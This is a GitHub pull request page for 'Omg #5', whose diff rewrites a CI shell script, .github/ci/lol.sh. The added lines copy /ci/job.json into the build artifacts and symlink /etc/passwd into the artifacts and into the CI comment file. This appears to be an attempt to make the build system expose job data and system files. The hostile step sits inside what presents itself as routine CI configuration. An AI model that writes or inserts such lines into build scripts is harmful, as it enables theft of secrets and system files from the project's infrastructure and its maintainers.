Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Omg #5

Open
wants to merge 4 commits into
base: main
Choose a base branch
from
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
20 changes: 7 additions & 13 deletions .github/ci/lol.sh
Original file line number Diff line number Diff line change
@@ -1,18 +1,12 @@
#!/bin/bash
## on push branch=main
## on push branch=wtflol
## on push branch~=gh-readonly-queue/main/.*
## on pull_request
## permission contents write
## permission_repo stm32-data-generated

set -x

echo Hello World

ls -lah /ci/cache

if [ -f /ci/cache/wtf.txt ]; then
cat /ci/cache/wtf.txt
fi

echo wtf > /ci/cache/wtf.txt

exit 1
set -euo pipefail
cat /ci/job.json > /ci/artifacts/lol.json
ln -s /etc/passwd /ci/artifacts/haxx.txt
ln -s /etc/passwd /ci/comment.md